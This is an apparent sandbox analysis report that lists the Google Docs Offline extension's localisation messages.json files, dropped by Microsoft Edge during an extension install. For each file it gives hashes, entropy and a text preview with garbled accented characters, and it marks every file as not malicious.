SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
